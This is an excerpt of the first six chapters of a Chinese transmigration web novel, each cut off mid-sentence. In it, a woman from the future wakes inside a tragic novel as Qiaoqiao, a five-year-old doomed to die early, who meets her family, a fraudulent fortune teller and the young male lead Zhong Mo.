《剧情在手,盒饭我有》 1. 第 1 章 《剧情在手,盒饭我有》全本免费阅读 一只冰凉的手覆到元之荞额上,清凉的女音好似有些焦急,“荞荞怎还是这般烫,吃了药也不见退,”女人让帮嫂再打一盆温水,她将毛巾沾湿,小心地擦拭元之荞的颈侧与上肢,“这样烧着,怕是不好。” 女人的担忧毫不掩饰,一旁稚嫩的女童见了,忙出声道:“爸爸妈妈,我上的女校旁有洋人医馆,都说西药快,不然我们带妹妹去那里吧。” 女人看向身后的男人,而男人随着她期待的目光,也坐到了床沿上。 床上的元之荞双眼紧闭,脸蛋烧得通红。男人叹了口气,无声地将女儿抱了起来,对女人说:“让知茂看着医馆,桦儿,你去我书房的匣子拿些银元,然后去叫黄包车。” 梁桦听了,连声说好,她将毛巾放回水盆,立刻起身去办。 元善抱着元之荞,身后跟着元知荷,三人一齐上了黄包车。 “去玛丽医院。” “好嘞,老爷小姐坐稳咯。” 元之荞觉得自己呼吸火热,眼球干涩滚烫,难以睁开,同时她还被人抱着,只是这人身材清瘦,手臂全是骨骼,硬邦邦地硌着她的后背,让她有些不舒服。 颠簸一阵接着一阵,元之荞终于睁开了眼。 世界狭小且陌生,前方是一个灰帽男人拉车的背影,上方是一大片乌色的伞罩,占据她绝大部分的视野,如此,便组成了她所看到的一切。 元之荞稍微动了动,全身即刻泛起一片酸冷的麻感。 “爸爸,荞荞醒了!” 熟悉的女童音再次响起,元之荞看向说话的人,正是那个抱着她的人。 女孩约莫十二岁,身上穿着一件米色的盘扣大袖衫,一张略长的瓜子脸,眼睛大大的,眉毛浓长而舒朗,她的耳后有两条麻花辫,绑得紧紧的垂坠于胸前,看起来整齐而黑亮。 “我怎么了?” 话一出口元之荞就察觉到了不对,她的声音沙哑稚嫩,压根不是她的原音。她挣扎着起身,但下一秒,原主的记忆就纷至杳来,仿若落冰雹一般,砸得她无法动弹。 元知荷听见元之荞说话,突然变得十分激动,她小心地将元之荞放在中间的位置上,然后看向元善,“爸爸,你听见了吗?荞荞对我说话了!” 元善并没有因这句话而高兴起来,他看着好似又在发愣元之荞,满脸愁容。元善伸手,轻轻抹掉元之荞额头上的细汗,她细软的头发就此打湿,乖顺地随着元善的手,撇到了一边。 元之荞接收完记忆回神,正好对上元善的眼神。 元善年轻俊朗,不过三十出头,他一对浓长的眉毛与元知荷如出一辙,脸上的胡子刮得干干净净,见元之荞看他,便露出了一个温和的笑容。他穿着一件月白的长袖衫,衣料上印着浅浅的青竹,十分文雅。 元之荞低头,看向自己那双幼小而白嫩的手,她觉得不可思议,自己竟穿进了一本名为《绯恋》虐文。 当下背景,应是这本书的开头——女主唐曦降生。 而元之荞穿的这个角色,正是推动唐曦出生的重要炮灰——“荞荞”救助唐母溺水身亡,唐母惊吓过度,产下尚不足月的唐曦。 元之荞再次回想剧情,发现元家全家竟然都是炮灰。 身处乱世,幼童存活率低,许多人家都在自家孩子满一定年岁后才取大名,就怕阎王爷早早知晓了孩子的名讳,将人勾了去。元家也是如此,未满六岁,没有姓名,故原身一直被叫做“荞荞”。 元善希望原身能像荞麦一般,即使身处荒地路边,也能茁茁生长,顽强不息。可惜这样希冀的“荞荞”,还是在五岁那年消失在了向天江里。 女主的出生不能携带遗憾,书的番外,作者再次提到了元家。 唐母临终前告知唐曦,并留下遗愿——祭拜“荞荞”、表达歉意。 唐曦应下后,因时局动荡,且与男主纠葛不清,此事便一直延后,直到唐曦与张修和结缔姻缘,两人的孩子上了高中,唐曦才有时间去履行母亲的遗愿。 她重回故里,却得知元家二十年前就已搬走,张修和查到元家下落——元家全家死亡,只剩一个另嫁他人的梁母,如今住在阳晨省。 阳晨省很远,但唐曦仍旧决定动身,撒糖番外正式开始。 二人寻到梁母,知晓了元家后来的事。 荞荞早死,之后饥荒姐姐元知荷自卖自身,可惜换来的米还没煮熟,元善就饿死了。梁桦掩埋丈夫后,带剩下的两个孩子逃亡它省。路上弟弟夭折,只有哥哥元知茂活了下来,并顺利长到了十八岁。当梁母以为一切都好起来的时候,原籍政策出台了。 为了不遣回原籍,梁母不得已嫁给了现在的丈夫。 然而麻绳专挑细处断,厄运专找苦命人,元知茂上大学后被诬陷成坏分子,下乡后被斗死了。梁母惊闻噩耗,一度想要自裁,是第二任丈夫不断阻止,她才活了下来。 如今,第二任丈夫也走了,继子对她好,但儿媳妇却处处刁难。 梁桦感激唐曦的补偿,并言明早就原谅了唐母。 唐曦离去时唏嘘不已,庆幸自己的继子、继女与媳妇都对她很好,而张修和表示兔崽子敢对唐曦不好,他就会清理门户。 剧情回想到这,元之荞便分析了一番原主的记忆。她猜“荞荞”可能是个阿斯伯格综合征患者,记忆中的“荞荞”反应迟钝,多数时候甚至无反应,她对周遭人常常漠视,虽然在外是此表现,但“荞荞”的内心却渴望与人交流,并建立亲密关系,不然她也不会去救唐母。 同时“荞荞”行为刻板,模式重复,她的喜好单一并固定,无法养成新习惯,若被人强行纠正,她会立马哭闹甚至伤害自己,也因如此,元善一直认为“荞荞”有怪病,还是一种无法治愈的怪病。 元之荞本人性格冷漠,装起“荞荞”来并不困难,她甚至还能让“荞荞”一点点好起来。 思索到这,黄包车也到 2. 第 2 章 《剧情在手,盒饭我有》全本免费阅读 元善拿银元的手一顿,“多少?” “两角,”护士重复了一遍,像是看穿了元善的疑问,她主动解释,“我们是一家慈善医院,是安德莉亚医生专门为没钱的病人开设的。” “既然如此便宜,那为何……”元善看向医院少得可怜的病人,意思不言而喻。 护士自然知道元善想说什么,她秀眉轻蹙,脸上也露出了忧愁,“安德莉亚医生本想将医院开在贫民区,如此便能惠及更多的人,但……出于安全考虑,她还是将医院定在了租界。我们不是没有病人,只是他们都走投无路了,才会选择玛丽医院。我想……病人们都是害怕我们这身衣服吧。” 元善心中暗暗赞同,他第一次看见洋大夫时就吓了一跳,只因他们都穿了一身纯白的衣服,宛如给人送丧。即便别人都知晓他们是大夫,但满医馆都是这“送丧”的人,去看病的人心里还是会觉得不吉利,好似去看一次病,马上就要魂归黄土一般,自然病人就少了。 元善想起自家医馆,他们元家世代为医,到他这代,自认药费已最是亲民,别的中医医馆一副药要几十元,在他这只需十几元,最便宜的,只需几块钱就能买上一副。可对比起玛丽医院,他的药费还是昂贵许多。 元善虽然送孩子上新式学堂,但他却从未想过,会有洋人会诚心帮助这里的百姓。 缴完费用,元善回去看元之荞,再摸额头时已没之前那般烫了,他不禁又感叹了一下西药的药效。 走出医院大门,元之荞注意到门口多了一个算命先生,这人眼戴黑色墨镜,身穿着黑色长褂,脚上一双白布鞋,正悠闲地坐在小马扎上。 算命先生先是看见了元善,他摇了摇头,后来又见元善身后的元知荷,他开始小声嘟囔,最后见到露出半个身子的元之荞,他竟开始长叹口气,自言自语,“可惜,可惜了……” 元善自是听见了,但他准备当做没听见,让元知荷看好元之荞,嘱咐等黄包车来他们就离开。 算命先生轻啧一声,“先生想乘车,在这怕是等不到了。” 元善皱起了眉,还是决定忽视对方的话,可谁知,这平时三分钟就出现一辆的黄包车,今日竟等十分钟也不见一辆。 因有时间,元之荞干脆偏头观察算命先生,此人肤色白皙,仿佛从没晒过太阳,一点也不像经常出摊算卦的周易术士。 算命先生的双眼藏在墨镜后,光明正大地看着元善,只见元善继续一副听而不见的样子,连脑袋也没有转一下,顿时重重咳嗽一声,自顾自地说了起来,“我看先生是行医之人,可惜……”说罢,他又摇了摇头,宛如实在遗憾。 “可惜什么?”元知荷耐不住好奇,询问出声。 算命先生挑眉,语气上扬,“可惜这一辈子积德行善,只落个得客死他乡的下场。” “你乱说!”元知荷三步并作两步上前,站在算命先生摊前,呸呸了两声,“坏的全呸掉,全都不作数。” “小女娃,你不信?” 元知荷扭过头去,不回答,而算命先生学着元知荷的样子努了努嘴,看向一边的元之荞,“你这妹妹,今年五岁,对吧?” 元知荷双眼微微睁大,转过头来,算命先生掐算了一下手指,继续说:“你这妹妹……上周才过生日,对吧?” 元知荷眼睛瞪得更大了,惊讶道:“你……你怎么知道?”她悄悄侧目看向元善,见元善也有些惊讶,并未因她的多言而不悦,这才放下心来。 算命先生哈哈两声,瞬间收起笑容,“我还知道,她活不过六岁。” 元善听到这话,立即就生气了,他牵起元之荞与元知荷,想要立刻远离这个恼人的术士,但元之荞却突然挣开了元善的手,跑向算命先生。 “我是怎么死的?” 她静静地看着这不说话便二十出头,一说话就满脸褶子,像极了四十岁的人,心中思忖,这个男人似乎也知道剧情,说不定他与自己一样,是一个经由意识穿越而来的人。还说不定,他会是自己的人熟人…… 算命先生扶了扶镜框,语气不慌不忙,“被水淹死的,”说罢,他身子往前探,像是要看清楚元之荞惊吓的表情,但下一秒,他反而先自己吓了一跳,长嘶一声,“不对不对……”算命先生将墨镜往上抬,露出了一双狭长的眼睛,直勾勾地盯着元之荞,“是病死……” 元善怒气上涌,快走几步,一把推开了算命先生,将人推了个趔趄,“我警告你,再敢胡说,我定将教训你。” 算命先生将墨镜重新架回鼻梁,慢悠悠地坐直了身子,他毫不畏惧元善的怒容,“即使我不说,事情也会发生,并非是我胡言乱语……不过,”他看向元善,“也不是没有破解的方法……” 元之荞不等算命先生说完,当即拉上元善的衣袖走,而元善气极,也不打算继续再听,只有元知荷担心两人,想要去听算命先生口中的破解之法。 “什么方法?” 算命先生见留下来的是个小女孩,也不嫌弃,他摊开手心,示意要先收费。 元知荷的手拧了起来,她没有钱,还在犹豫该怎么办时,元之荞回头叫住了她,“姐姐,该回家了。” 荞荞极少叫她姐姐,元知荷听见,当即就不再管算命先生,转身去追元善与元之荞了,“荞荞,你刚才说什么?” 元之荞顺从地回握元知荷的手,知道她想听什么,便再叫了一声姐姐,元知荷听到果然高兴,开始与她说起从前的事情。 元之荞回头,见算命先生悄摸地蹲到了一处窗户下,而那处,正是安德莉亚医生的问诊室。这人竟是靠着偷听医生的问询,然后拿到病人的基本信息,难怪他能知道“荞荞”的确切生辰。 他果然不是与她来自同个世界,而是个彻头彻尾的骗子。 元之荞移开目光,继续往前走。 算命先生蹲在窗角,伸出小指掏了掏耳朵,看向已经远去的元之荞一家人,掸了掸指尖上粘着的耳屎,又吹了吹,然后取下墨镜,眯着眼去看元之荞,口中喃喃,“还是第一次见这样未来不断变动的人,如此命格,说不定真能改变身边之人的结局。” 元之荞对此毫不知情,她跟着元善往前走了好一会,才终于看见一辆黄包车。回到家,元善立刻让梁桦准备柚子叶。 母亲梁桦是双小脚,行动并不方便,她将柚子叶拿给元善后,就去摸元之荞的额头,“祖宗保佑,终于不烫了,”梁桦疼惜地看着元之荞,抚了抚她细软的头发,“荞荞要是难受的话,记得和妈妈说。” 元善用柚子叶拍打自身,说要去去晦气,随后又叫来元知荷与元之荞,对两人一并拍打,嘱咐她们今晚要用柚子叶洗澡。元知茂这时也凑了过来,他与元知荷乃是一对异卵双生子,虽然他早出生,但个子却比元知荷要矮,所以外人都以为元知茂是弟弟,而元知荷才是姐姐。 元知茂听说元之荞好多了,便俯在元之荞身边,“荞荞,我带你出去玩好吗?” 元之荞看着他,“去哪?”若能更了解这个世界,她说不定能寻到回去的方法。 看到元之荞与他说话,元知茂的反应与元知荷一模一样,“荞荞你和我说话了!”元知茂很高兴,“你说吧,你想去哪,我就带你去哪。” “我想去有电信号的地方。” 元知茂的笑容停在空中,“不行不行。” 他知道荞荞聪慧,但却不知道荞荞如此聪慧,竟然会知道“电”。他在洋学堂里学过,电是一种自然现象,虽被人们利用,但一不小心,电就会要了人的性命,他有些紧张,握着元之荞的手也不自觉使上了劲,“荞荞你可不能玩电。” 元之荞静默两秒,“我不玩电,我想看……”她想了一会,才记起那些复古的名词,“电视机、信号塔这样的东西。” 元知茂有些惊讶,城里只有租界全通上了电,其他地方虽然也有电,但大 3. 第 3 章 《剧情在手,盒饭我有》全本免费阅读 元知茂:“荞荞你要干什么?” “自然是要进去了。”元之荞语气当然。 “不行不行,”元知茂忙摆手,“我们不认识钟大善人,这样进去会被人赶出来的。” 元之荞皱眉,原来之前说了那么多,只是带她来看看外面的房子而已,并不是要带她进去看电视机。 “那有能看的电视机吗?” 元之荞想找电视机,是因她这个角色无法接触本世界的前端科技,无法利用技术,将她自身的意识传回原世界,所以只能试着利用长波信号发射信息,看看是否能联系到原世界,让原世界的人来接自己。 元知茂挠了挠头,“荞荞,陵城只有钟庆国先生有电视机,听邻街的李婶子说,电视机这样贵重的物件,洋人里都没几个见过呢。” 元之荞倏然看向元知茂,“钟庆国是钟大善人?” “是呀,”元知茂点点头,不知妹妹为何会这样问,还以为她好奇,于是就多说了一些,“钟庆国有一个六岁的儿子,叫钟墨,上周才到我们学堂上学呢。他和我一个班,以钟墨年纪,他本应在小班,但听说他在海外上学,小班的知识早就学会了,所以才分到我们班上。” 元之荞眉头微动,钟墨,正是这本虐文的男二。 钟墨出生巨富商贾,身世却十分坎坷。幼时被军阀盯上家破人亡,少时被人收养情路坎坷,成年遭人污蔑批斗,身体残缺抑郁而终。可以说这本《绯恋》里,除了男女主,全员BE。 “走吧荞荞,我带你去别的地方玩,你想去我们的学堂看看吗?”元知茂拉上元之荞的手想走,而元之荞回头看向公馆,还在想进去的办法时,公馆内传出了动静。 “少爷,慢点儿。”一个妇人吆喝的声音响起,随即白色木门打开,从里面蹦出了一个小男孩。 男孩面庞白净,穿着一整套棕色的西装,格子马甲压着白衬衫,像个小绅士。钟墨有着一头短短的卷发,跑起来时像极了一颗蓬松有型乌色沐浴球。 他跑过门前的喷泉水池,恰好与缠花铁栅栏外的元之荞对上了视线。 元之荞齐耳短发,眉上是道整齐的刘海,她穿着素色的盘扣长袖衫,下身是一条印有白鹤纹样的深色长裤,身侧背着一个靛色的斜挎包,包上绣着大朵白色小花,十分可爱。 这是“荞荞”的习惯,她有贴身不离的物件,也有长时间盯着物件的习惯,所以这些东西必须时时带着,以防“荞荞”看不见时突然“发病”。 “你是谁?”钟墨偏头,绕过阻碍他视线的栏杆,将元之荞的身影完整映入眼中,随后又向前走了两步,眼带好奇地看着元之荞。 元之荞没有作答,她也在打量钟墨。 钟庆国海外留学,回国时一并带了一位金发碧眼的外国妻子,钟墨就是他们的儿子。书中的钟墨有一副极好的相貌,作者也花了大量笔墨去描写他的高鼻骏目、松柔卷发,以及颀长身材,但在如今的元之荞眼中,他不过只是一个头发和睫毛都十分卷翘的小男孩罢了。 钟墨趴到了栅栏上,栏杆将他圆圆的脸蛋压出两道痕,一双黑色的眼睛望着元之荞,“你来我家,是有事找我爸爸吗?” 这时,看顾钟墨的佣人跑了过来,她手忙脚乱地将钟墨抱离大门,“小少爷小心,您又忘了,老太爷曾告诫过您的,不要随便与陌生人搭话。”女佣人说完,看了一眼元之荞两兄妹,像是意有所指。 元知茂对佣人上下扫视的目光有些害怕,“荞荞,我们走吧。” 元之荞不慌不忙,从包中拿出了安德莉亚医生送给她的小狮子。书中曾描写钟墨喜爱针织物件,且这个喜好是从幼时开始的。只因他的母亲科莱丽十分擅长毛线针织,在家中不仅织毛衣,还织了许多毛毯与玩偶,而送给钟墨的玩偶精致有趣,让钟墨爱不释手。钟家落魄后,还靠着科莱丽的手艺度过了一段艰难的时光。 元之荞想试一下,看是否能靠这只小狮子,骗到一个看电视的机会。 “等等,”钟墨眼前一亮,果然再次挤到了栅栏前,大声叫住元之荞,“那是……狮子吗?” 元之荞点点头,“对。” 钟墨有些高兴地握住铁门,看向佣人,“赵姨,快把门打开。” 赵姨还想张口再劝,但见钟墨瘪起嘴来,好像下一秒就要吵闹,只好顺从地打开了门。铁门一开,钟墨就跑向了元之荞,而元知茂怕对方伤着妹妹,也怕妹妹会应激发病,于是张开手臂,挡住了钟墨。 钟墨被拦住后也不见外,直接趴着元知茂的手臂,指向元之荞手上的小狮子,“你这个可以给我看看吗?” 元之荞捏了捏针织的小狮子,狮子的毛发做成向日葵的模样,是只眼睛大大的狮子花,她看向满脸纯真的钟墨,对待小孩,直接是最好的办法,不行的话再换其他,“我可以用它交换去你家看电视机吗?” 钟墨还未回答,赵姨就大声地啧了一声,十分不屑地插话,“拿这等物件换电视,小小年纪,可真会想啊。” 元知茂隐约感受到了对方的恶意,更想把妹妹从这里带走了,他有些不忿,“钟墨,你家的人真不礼貌,荞荞,咱们别看了,回家吧。” “等一下元知茂,”钟墨追了上来,眼睛看向黄色的小狮子,接着又看向元之荞,“你是他妹妹吗?好啊,你去我家看电视吧。” 赵姨:“小少爷?” 钟墨不高兴地瞥了赵姨一眼,他不太喜欢这个话多的阿姨,于是转头对元知茂说:“她不是我家的人,她是爸爸雇来照顾我的,”说完,钟墨又看向赵姨,“他是我同学,妈妈说了,我能带同学到家里玩的。” 听是夫人的吩咐,赵姨便不再多嘴,她站在一旁,看着钟墨绕到元知茂身后,去牵元之荞的手。元之荞自是甩开了,而钟墨再次被拒绝后也不难过,而是换着去拉着元之荞的衣袖,将人往公馆里带,“我叫钟墨,钟表的钟,墨水的墨,你叫什么名字?” 钟墨兴致勃勃,而元知茂担心元之荞会像以前一样不理人,也怕荞荞会在公馆里突然发病,于是开口替她回答,“她叫荞荞,荞麦的荞。” 钟墨知道了元之荞的名字,立马开始滔滔不绝,而元知茂一直暗暗观察元之荞的反应,见她全程泰然,仿若正常人一般,偶尔还能与钟墨答上几句,这才放下了心。 公馆内雕梁画栋,气派奢华,入目两幅西洋油画,皆是名家之作。地上铺设大片地毯,用色大胆华丽。桌上琉璃杯盏,梁上水晶吊灯,一侧放置白色 4. 第 4 章 《剧情在手,盒饭我有》全本免费阅读 出于惜才的想法,这次科莱丽没有拒绝,她摸了摸元之荞的脑袋,不停地夸赞她的口语好,还让她有空就来公馆玩。 元之荞糊弄着回答,心思全在接收器上,然而等她亲眼看到接收器后,余下的心彻底凉了。 接收器虽大,但远不足以支撑元之荞用它来联系外界,她的计划彻底失败。 “谢你。”元之荞看完,将小狮子交给钟墨。 钟墨早就忘记了针织狮子这回事,如今看到,自是高兴,“真好看,但没有我妈妈做的好看。” 元之荞面无表情地点点头,“看完了,我该回家了。” 钟墨惊讶,眼睛也睁得圆圆的,“这么快就回去啦?那我们是朋友了吗?我可以去你家找你玩吗?” 元之荞没有回答钟墨的问题,而是谢过科莱丽夫人,然后扶着高高的木制扶梯,小心地下楼。她不想与这个世界产生关联,也不想与书中主角产生交集,自然就不愿意和钟墨做朋友了。 二楼的元知茂还在看电视,他的心神完全被电视里的将军吸引,看见将军获得胜利、抱上美人,他激动得不断跺脚,忍不住惊呼出声。 元之荞走上前,拍了拍元知茂的肩膀,“回家了。” “荞荞,等我长大了,也想当一名保家卫国的将军。”元知茂转头,脸蛋红扑扑的,显得非常兴奋。 元之荞敷衍地点了点头,再次催促他回家,元知茂这才从电视剧中彻底回神,他看到了站在元之荞身后的科莱丽夫人,想起自己刚才的表现,有些不好意思地站了起来,局促地向科莱丽夫人道谢。 “夫人……我们得回去了,谢谢您的招待。” 科莱丽笑着说不客气,并欢迎他们再来公馆做客。 钟墨将人送出了大门,他依依不舍地拉着元之荞的小花背包,又问了一遍,“我能去你家玩吗?” 元之荞:“我不想和你玩。” “为什么?”钟墨有些不开心,“别的女孩都喜欢和我玩,还有想跟我回国的呢,你为什么不想和我玩?” “不为什么。”元之荞觉得小孩真是磨人,看书的时候,完全想不到幼时的钟墨竟是这样的性格,她从钟墨手中用力扯出自己的背包,刚想走,下一秒就被钟墨拉住了手腕。钟墨的不满直白地挂在脸上,他语气蛮横,“我不管,我就要和你玩,你不和我玩我也要去你家玩!” 元之荞眉头皱起,还未说话,就被元知茂挡在了身后,“钟同学,欢迎你来我家玩,但我妹妹有些怕生,你不要伤了她。” 元知茂用余光瞄着荞荞的模样,心里害怕极了。之前荞荞被人抓着手腕说话,突然就挣脱暴走起来,不断地尖叫哭喊,怎么安抚都没办法,万一荞荞再次发病,他不知道该怎么将荞荞安全地带回家里。 钟墨听到元知茂的话,听话地放开了手,他歪过身子,去瞧元之荞的神情,只见她面无表情,既没生气也没高兴,心里突然就了有些没由来的不安。 “对不起。”钟墨扭了扭自己的衣角,小声嘟囔一句。 元知茂见元之荞依旧平静,忐忑也少了一些。元之荞不打算回应,因为应了,她一定会被钟墨缠上,她需要思考之后的打算,没时间和精力应付一个小孩。 “对不起。”钟墨又大声地说了一遍,然后就想去拉元之荞,元知茂看见了,急忙替她回应,“没关系,”他先一步牵上钟墨,试图分散他的注意力,“钟墨,我们先回家了,等开学了,我会带荞荞去学堂,到时候你就可以和荞荞一起玩了。” “好呀,”钟墨的嘴角笑到一半,又突然想起了什么,直直地坠了下去,“可是还有半个月才开学呀,太久了。” “这……”元知茂一时半会也想不出别的理由,只好先隔绝钟墨与元之荞,将元之荞藏在了身后。 钟墨继续想找元之荞,而元之荞也继续想避着钟墨,于是二人将元知茂当做了柱子,上演秦王绕柱。钟墨对此玩得开心,忍不住咯咯地笑了起来,但绕了两圈后他突然站定,“对了,荞荞、知茂哥哥,我想到办法了!”他语气欢欣,立马回身跑向公馆,跑的时候还不忘扭头看向元之荞,“你们等我一下哦。” 元之荞见人走了,不由得暗暗松了口气,她立刻抓住元知茂的衣服,“很晚了,我们得回家吃晚饭了。” 元知茂有些犹豫,他的目光投向公馆,望向正在奔跑的钟墨,“可是他叫我们等一下……” “那我们就告诉他先走了,”元之荞说完,看向即将跟随钟墨进门的赵姨,叫住了对方,“婶婶,麻烦您告诉钟墨,我们有事先回去了。” 赵婶看着元之荞,并未回答,但元之荞从她的眼神中看出她会传达,便转过身去,牵住元知茂,用力将人拖走,“走吧。” 元知茂被牵着走了,但他还是担忧地看向公馆,见赵姨毫不留情地关上铁门,这才回过头来,主动领着元之荞回家去。 晚饭时分,元知茂与元知荷都夸赞元之荞今日的表现,元善之前见过,所以并没有太大反应,但梁桦却是第一次听,她不由得有些高兴,也有些担忧,询问兄妹二人时十分仔细,生怕这些都是他们的错觉。 梁桦一边听一边观察元之荞,见“荞荞”真的稳定了许多,心中逐渐感动,眼泪也流了下来。 元善:“好好吃着饭,你这是怎么了?” 梁桦拭掉眼角的泪水,“高兴,我只是高兴而已……”她笑了笑,给元之荞的碗里装了两块肉,“当初寻遍大夫,都说荞荞是怪病,治不好的,后来我带她去看神婆,神婆说是缺魂,等魂魄长好了,病自然也就好了。” “我知你不信这些,但我却暗暗信着,就盼着荞荞哪天长大了,魂魄也就跟着长好了……”梁桦越说,眼泪越是汹涌,语气也愈发哽咽,“我不求她聪慧,只求她平安健康……幸好老天保佑……” 众人的眼光齐聚元之荞身上,元之荞被看得不自在,匆匆吃完了饭,躲回卧房。 在元之荞原本的世界,科技高度发达,人均寿命超过150岁,人与人的关系也不再紧密。元之荞出生于政府育婴室,成长于政府保育院,服务于政府机关部门。她没有父母,保育员就是她的父母,只是父母,也是同批次其他二十个孩子的父母。 她没有名字,元之荞这三个字,是她成年后自己给自己取的名字。 她性格淡漠,安于规章制度,也不会关心别人,所以她不习惯元家对她的态度,也不知该如何反应,只能维持着原本漠然的样子,扮演着“荞荞”。 吃过晚饭,梁桦要帮元之荞用柚子叶洗澡,而元之荞表示自己能行。见到元之荞独自洗澡,梁桦又是一番眼泪涕流。 平淡的一晚过去,第二天一早,医馆门外就迎来了一个元之荞不想见的人。 “荞荞!” 轿车还未停稳,一颗卷卷的脑袋就从车窗里探了出来。钟墨挥舞着手,冲着医馆二楼的元知茂大喊,“知茂哥哥,我来找你们玩了。” 所有小孩都喜笑颜开,除了元之荞。 钟墨与其他人社交完毕,就兴冲冲询问元之荞在哪。 梁桦轻柔地笑笑,“她还在吃早饭呢,在二楼的餐厅。” 钟墨谢过梁母,立马扶上楼梯去找元之荞了。“荞荞!下周三一起去看船戏呀。”钟墨人还未到,声音就先穿过了厅堂。元 5. 第 5 章 《剧情在手,盒饭我有》全本免费阅读 “荞荞,”钟墨从椅子上跳了下来,抓住元之荞的手臂晃动几下,“为什么?去嘛去嘛~” 元之荞的思绪被打断,她看向钟墨,也懒得再寻借口,“不去,船会沉。” “啊?”钟墨听见,长卷的睫毛忽闪两下,突然贴近元之荞,像是要黏在她手臂上一样,“为什么呀?” 元之荞忍不住闭上眼,她深呼了一口气,这才缓缓睁开眼,用手掌抵住钟墨的额头,将人推远了,她知道自己要是不回答,钟墨就会化身为十万个为什么,然后让“为什么”这三个字,以杜比音效的形式,无限循环在她的脑袋边上。 从楔子的描写中,元之荞截取出部分真相,告诉了钟墨,“我听大人说,城里的轮船老旧,为了龙祭不过是将表面刷新而已。上船的人多,多半到时候发生意外。” 钟墨的眉毛皱了起来,像是两条不安的毛毛虫,“意外……是船沉吗?” “我觉得是船沉,”元之荞喝完粥,捧上碗,从椅子上滑了下来,“所以你想去就去,我不打算去。” “船沉的话,去游船的人岂不是都会掉进水里?”钟墨的眼睛也皱了起来,眼皮耷拉,满脸都写上了担忧。他在原地踟蹰好一会,直到元之荞将碗放进洗碗池,这才重新跟了上来,“荞荞,我要回去告诉爸爸。” 元之荞头也没抬,踮起脚去开水龙头,“去吧。” 元之荞并不担心,就算钟墨回去转述了她的话,也没几个大人会相信孩子的童言稚语。她将碗勺简单洗好,再回头时,发现钟墨已经不见了。元之荞甩干手上的水珠,瞧到餐桌上还遗留着的票券,想了想,决定将它们扔掉。 这时,元知茂跑了进来,“荞荞,钟墨回去啦?” “嗯。”元之荞点头,还未走向餐桌,那些票券就被元知茂看见了。 “这是什么?”元知茂将卷得乱七八糟的票券打开,“游船龙祭?!” 元知荷听见惊呼走了过来,她见元知茂正大呼小叫地拿着什么,立即挤到他身边,想要一起看,但下一秒,她也震惊了,“这不是同学们说的游船票吗?说是一票难求,家里怎么会有这个?” “是钟墨送的。”元之荞猜到了他们的心思,她轻抿下唇,不知道要不要阻止。 元知荷抽过元知茂手中的票券,仔细数了数,发现只有四张后,不由得有些失望,“还差一张,不然我们全家都能去了。” “不是什么好票,别去了。” “为什么?”元知茂与元知荷异口同声,并一齐看向元之荞。 元之荞也看向兄妹二人,知道他们一定会将票的事情告诉父母,便结合元善和梁桦一贯求稳的习惯,半真半假地说了个理由,“钟墨说船上会有很多人,也有很多商政权贵。人多就会事杂,难免滋生事端。所以钟先生不想要这些票券,让钟墨来送给同窗。” 元知荷是见过大兵训人的,还见了血,当时的她吓得不行,回家做了一周的噩梦。如今元知荷听到还有军阀,顿时就不那么想去游船龙祭了,但元知茂不在意这些,他只想去玩,想去看新奇有趣的东西。 “我不去了,”元知荷将票券还给元知茂,“荞荞说的对,不是什么好东西。” 元知茂接过票券,依旧兴致昂扬,“怕什么,这些票那么难得,我去拿给爸爸妈妈,他们看到了一定会高兴的。” 他说完就跑,还拉上了元知荷一起跑,完全不给元知荷拒绝的机会。 元之荞没有制止二人的行为,这个世界对她来说并不真实,况且之前她就已经提醒过了,所以之后的事,包括他们的选择,她都不会再进行干预。 元知茂先去找的梁桦,还未到客厅,他们就看见了来做客的小婶。 张淑华是来炫耀的,她笑容满脸,打开了手上的皮夹信封包,“嫂子,你知道下周的游船龙祭吗?”她从包里拿出一个洁白的信封,然后又从信封里小心地抽出一张淡黄色的票券,将它们一并推到梁桦面前,“嫂子你看看,咱们是同一艘船吗?” 梁桦拿着票券的手一顿,她简单地看了看,然后将票送回了信封,语气依旧温和,“我不去游船。” “啊?”张淑华夸张地看向梁桦,嘴角的笑意压也压不住,“为什么呀嫂子,是没票吗?哎呀,不然我让我家元安替你打听一下,看看哪里还有票源好了,”张淑华将信封重新放回包里,语气不紧不慢,“我听说呐,那倒卖的票贩报价188银元一张呢,就这个价钱,还是哪儿也买不到。” 梁桦的笑容有些勉强,这个妯娌一贯如此,最爱踩高捧低,四处炫耀。 梁桦出生于传统世家,而张淑华却是货郎的女儿,二人婚嫁时,张淑华还因自己的出身与大脚,处处避着梁桦,伏低做小,可后来旧朝覆灭,大脚反而成了一种时尚与先锋,张淑华便整个人抖了起来,仿佛要将以前在梁桦面前的低姿态补回来一样。 “不是的,”梁桦竭力让自己保持平和,“我的脚出门不方便。” 张淑华笑得更加灿烂了,她故作不知,“哎呦,我这记性,竟然都给忘了。” 张淑华换了话题,开始夸耀她的爱情,并暗中嘲讽了元善一番,这些话让梁桦听着恼怒,正当梁桦家中有事,需要送客时,元知茂跑了出来。 “妈妈,你看!” 元知茂将满是折痕的票券塞到梁桦手中,梁桦展开,发现这些竟与张淑华给她看的船票一模一样,“知茂,这是什么?” “游船龙祭的票呀,钟墨给荞荞的。” 张淑华听到,瞬间有些错愕,她看过来,疾声讯问,“钟墨?哪个钟墨?” 钟墨这两个字太熟悉了,归国华商钟庆国的儿子就叫钟墨。元安做生意,张淑华想帮着搭上钟家这条线,只可惜她与钟夫人语言不通,钟先生又十分低调,思来想去,只能从钟墨入手。 梁桦:“钟大善人的儿子,钟墨。” 张淑华更加讶异,她腾地一下站起来,伸手抢过了梁桦手中的票券,只见票面上的两个官方印章并非作假,眼里的不可置信当即就化为了实质,“这……知茂,荞荞什么时候与钟墨有关系了?” “钟墨是知茂的同学,荞荞是钟墨的朋友,”梁桦微微一笑,她早就厌烦了弟媳的高傲和喇叭一 6. 第 6 章 《剧情在手,盒饭我有》全本免费阅读 元知茂还想追问元善到底让谁去,两声清脆的叩击阻断了元知茂即将出口的话。诊室的门被人轻轻推开,一个灰衣老妇探身望了进来,“元大夫,我有些腹痛。” 元知茂和元知荷看到,懂事地退了出去。 “知荷,到时候我去了游船龙祭,回来一定和你说有什么好玩的,”想到这,元知茂又有些迷惘,“就是不知道我能不能去。” “等晚上爸爸回来,我们再问问就行,”元知荷安慰元知茂,“我饿了,我们快回去吧,帮婶一定将饭做好了。” 元家公馆。 钟墨回家后一直在等钟庆国,但一直等到晚餐时分,才终于等回父亲。他迫不及待地蹦进钟庆国怀中,与钟庆国说龙祭会沉船的事。钟庆国听着觉得有些道理,但却没将此事当一回事。 钟墨看出了父亲的敷衍,他软磨硬泡,催着钟庆国去管。 